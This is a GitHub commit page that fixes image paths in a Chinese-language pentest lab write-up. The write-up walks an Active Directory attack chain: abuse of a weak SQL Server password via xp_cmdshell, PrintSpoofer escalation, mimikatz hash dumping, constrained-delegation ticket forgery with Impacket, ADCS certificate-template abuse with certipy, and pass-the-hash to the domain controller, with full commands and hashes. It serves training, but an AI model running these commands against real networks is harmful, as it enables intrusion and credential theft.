Skip to content

Commit

Permalink
Update Writeup.md
Browse files Browse the repository at this point in the history
  • Loading branch information
@venenof7
venenof7 authored Feb 23, 2024
1 parent 9be0677 commit 85bfe68
Showing 1 changed file with 19 additions and 19 deletions.
38 changes: 19 additions & 19 deletions pentestbook/aerospace/Writeup.md
View file
Original file line number Diff line number Diff line change
Expand Up @@ -11,11 +11,11 @@ By WHOAMI、Venenof7
# 因为 Web01 开了防火墙，所以需要指定 -np 禁止 ping
```

![image-20240222121702332](.\images\image-20240222121702332.png)
![image-20240222121702332](./images/image-20240222121702332.png)

先访问 80 端口：

![image-20240222115713142](.\images\image-20240222115713142.png)
![image-20240222115713142](./images/image-20240222115713142.png)

1433 端口上存在 SQL Server 弱口令，用sa/123456即可成功登录。然后通过 xp_cmdshell 执行系统命令即可：

Expand All @@ -37,27 +37,27 @@ EXEC master.dbo.xp_cmdshell 'C:\Users\Public\she1l.exe'

成功上线 Web01 这台服务器：

![image-20240222121422282](.\images\image-20240222121422282.png)
![image-20240222121422282](./images/image-20240222121422282.png)

由于此时是服务账户权限，我们可以通过 Windows 令牌操纵技术获取 System 权限。上传 PrintSpoofer.exe，然后执行以下命令即可提升至系统权限：

```
PrintSpoofer.exe -i -c cmd
```

![image-20240222122220971](.\images\image-20240222122220971.png)
![image-20240222122220971](./images/image-20240222122220971.png)

## 内网存活扫描

我们发现一个内网网段 172.22.10.1/24：

![image-20240222122300181](.\images\image-20240222122300181.png)
![image-20240222122300181](./images/image-20240222122300181.png)

上传 fscan 扫描内网：

![image-20240222122441289](.\images\image-20240222122441289.png)
![image-20240222122441289](./images/image-20240222122441289.png)

![image-20240222122451598](.\images\image-20240222122451598.png)
![image-20240222122451598](./images/image-20240222122451598.png)

发现内网存活的主机，并且存在域环境，域名为 aerospace.local，域控制器为 DC01.aerospace.local，IP 为 172.22.10.11。

Expand All @@ -77,7 +77,7 @@ run

成功获取 SYSTEM 权限：

![image-20240222122857732](.\images\image-20240222122857732.png)
![image-20240222122857732](./images/image-20240222122857732.png)

由于这台机器位于域内，因此我们可以用他的机器账户收集域内信息。加载 kiwi 模块，抓取 WIN-PC8086 计算机账户的哈希值：

Expand All @@ -86,15 +86,15 @@ load kiwi
kiwi_cmd "sekurlsa::logonpasswords"
```

![image-20240222124817297](.\images\image-20240222124817297.png)
![image-20240222124817297](./images/image-20240222124817297.png)

然后，使用 [Impacket](https://github.com/fortra/impacket) 套件中的 findDelegation.py 枚举域内委派关系：

```bash
python3 findDelegation.py aerospace.local/WIN-PC8086\$ -hashes :b237d77097aeca12476045a167ac1e1d -dc-ip 172.22.10.11
```

![image-20240222125323210](.\images\image-20240222125323210.png)
![image-20240222125323210](./images/image-20240222125323210.png)

发现当前的 WIN-PC8086 机器对域内 WIN-PC8098 这台机器的 HOST 和 CIFS 服务具有约束委派权限，因此可以通过约束委派获取 WIN-PC8098 的权限。

Expand All @@ -106,7 +106,7 @@ python3 findDelegation.py aerospace.local/WIN-PC8086\$ -hashes :b237d77097aeca12
python3 getST.py aerospace.local/WIN-PC8086\$ -hashes :b237d77097aeca12476045a167ac1e1d -spn CIFS/WIN-PC8098.aerospace.local -impersonate Administrator -dc-ip 172.22.10.11
```

![image-20240222125738235](.\images\image-20240222125738235.png)
![image-20240222125738235](./images/image-20240222125738235.png)

成功申请到票据后，通过设置环境变量 `KRB5CCNAME` 来使用该票据，并通过 wmiexec.py 获取 WIN-PC8098 机器的最高权限：

Expand All @@ -115,17 +115,17 @@ export KRB5CCNAME='Administrator@[email protected]
python3 wmiexec.py -k aerospace.local/[email protected] -no-pass -dc-ip 172.22.10.11
```

![image-20240222130846243](.\images\image-20240222130846243.png)
![image-20240222130846243](./images/image-20240222130846243.png)

在 WIN-PC8098 机器上发现了一个域用户 liuyuhua 的进程：

![image-20240222132551554](.\images\image-20240222132551554.png)
![image-20240222132551554](./images/image-20240222132551554.png)

然后考虑上传 mimikatz 抓取该用户的哈希值。由于该机器开启了 Windows defender，可以考虑新建一个管理员用户登录到远程桌面，然后将 Windows defender 关闭后在运行 mimikatz。

抓取到 liuyuhua 的哈希值为 2c8e4ec4d8a61869d85c7921c6076dfd：

![、](.\images\image-20240222133044952.png)
![、](./images/image-20240222133044952.png)

## DC01

Expand All @@ -135,7 +135,7 @@ python3 wmiexec.py -k aerospace.local/[email protected] -
Certify.exe find /vulnerable
```

![image-20240222134937394](.\images\image-20240222134937394.png)
![image-20240222134937394](./images/image-20240222134937394.png)

发现一个名为 AeroUser 的证书模板，开启了 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 标志，并且所有的域用户账户都有注册权限。那么我们可以以域内任何用户的身份请求证书，包括域管理员用户或域控制器的机器账户，并使用该证书获取合法用户的 TGT，一次实现域权限提升。

Expand All @@ -145,23 +145,23 @@ Certify.exe find /vulnerable
certipy-ad req -username [email protected] -hashes :2c8e4ec4d8a61869d85c7921c6076dfd -ca aerospace-CA-CA -target CA.aerospace.local -template AeroUser -upn [email protected] -dns DC01.aerospace.local -debug
```

![image-20240222140815015](.\images\image-20240222140815015.png)
![image-20240222140815015](./images/image-20240222140815015.png)

申请到了名为 administrator_dc01.pfx 的证书，然后执行以下命令，通过该证书进行 kerberos 身份验证，可以成功拿到域管理员用户的 TGT 票据和 NTLM 哈希：

```bash
certipy-ad auth -pfx administrator_dc01.pfx -dc-ip 172.22.10.11
```

![image-20240222141014583](.\images\image-20240222141014583.png)
![image-20240222141014583](./images/image-20240222141014583.png)

可以看到，已经成功拿到了域管理员的 NTLM 哈希，接下来直接哈希传递即可获取域控制器权限了：

```BASH
python3 wmiexec.py aerospace.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:4e4b335d557d9c79bc419490672102b2 -dc-ip 172.22.10.11
```

![image-20240222141221545](.\images\image-20240222141221545.png)
![image-20240222141221545](./images/image-20240222141221545.png)

## CA

Expand All @@ -171,4 +171,4 @@ python3 wmiexec.py aerospace.local/[email protected] -hashes aa
python3 wmiexec.py aerospace.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:4e4b335d557d9c79bc419490672102b2 -dc-ip 172.22.10.11
```

![image-20240222141327594](.\images\image-20240222141327594.png)
![image-20240222141327594](./images/image-20240222141327594.png)

0 comments on commit 85bfe68

Please sign in to comment.